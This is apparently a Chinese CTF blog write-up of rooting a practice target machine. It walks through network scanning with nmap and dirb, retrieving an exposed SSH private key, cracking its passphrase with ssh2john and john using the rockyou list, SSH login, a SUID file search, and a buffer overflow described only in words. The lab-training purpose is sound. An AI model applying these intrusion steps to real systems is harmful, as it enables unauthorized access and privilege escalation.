声明:此博客只是记录自己的ctf学习过程,请勿用于非法途径。

目标:从外部进入靶场主机并获得root权限。

kali linux:192.168.31.113

在kali的终端输入:

netdiscover -r 192.168.31.1/24

以发现靶机IP地址

 

 使用nmap对靶场主机开放的服务信息进行探测:

nmap -sV 192.168.31.37

 

 

 发现靶场主机开放了一个ssh服务和两个http服务。

对于开放http服务的大端口,可以采取http://ip:port/访问:

 

 

html源码中也没有想要的信息。这条路走不通。

使用dirb工具对http服务的隐藏文件进行探测:

dirb http://192.168.31.37:31337/

探测完毕:

 

 robots.txt里面存放着是否允许搜索引擎查看的文件名,打开:

 

 发现敏感文件:taxes

我们在浏览器中浏览该文件,发现第一个flag值:

 

 打开之前发现的.ssh文件:

 

 通过浏览器访问并下载id_rsa以及authorized_keys

在终端尝试直接用id_rsa连接远程服务器:

先查看有哪个服务器用户:

cat authorized_keys

发现一个simon用户

ssh -i id_rsa simon@192.168.31.37

 

 

发现无法登录,因为id_rsa权限不对,对id_rsa权限进行更改:

chmod 600 id_rsa

赋予id_rsa可读可写权限

再进行远程登陆:提示需要进行密码:

 

 密码是来源于私钥文件的,使用ssh2john将id_rsa文件进行转换:

ssh2john id_rsa > rsacrack

若找不到ssh2john,则使用locate ssh2john查找路径后再使用

python /usr/share/john/ssh2john.py id_rsa > rsacrack

进行转换

然后桌面上就出现了rsacrack文件

然后使用字典对rsacrack进行解密:

使用zcat工具对rsacrack进行解密:

zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack

得到密码:starwars

重新使用ssh登录并输入上述密码,登陆成功!此时我们获取了simon用户权限。

切换都r根目录看看有没有啥敏感文件:

cd /root
ls

发现了flag.txt,cat一下:

 

 发现并没有权限去查看,说明我们权限不够,需要提升权限。

我们先查找具有root权限的文件:

find / -perm -4000 2>/dev/null

其中2>dev>null是为了避免错误操作

发现read_message文件之前出现在根目录下过

查看一下该文件:

cat read_message.c

 

 发现了flag2

代码的意思大概就是将authorized与输入的字符前5个进行对比,相等就输出信息并执行program

那么在这儿可以进行溢出操作

 

 成功获得root权限,再:

cat flag.txt

 

 成功获得最后一个flag值。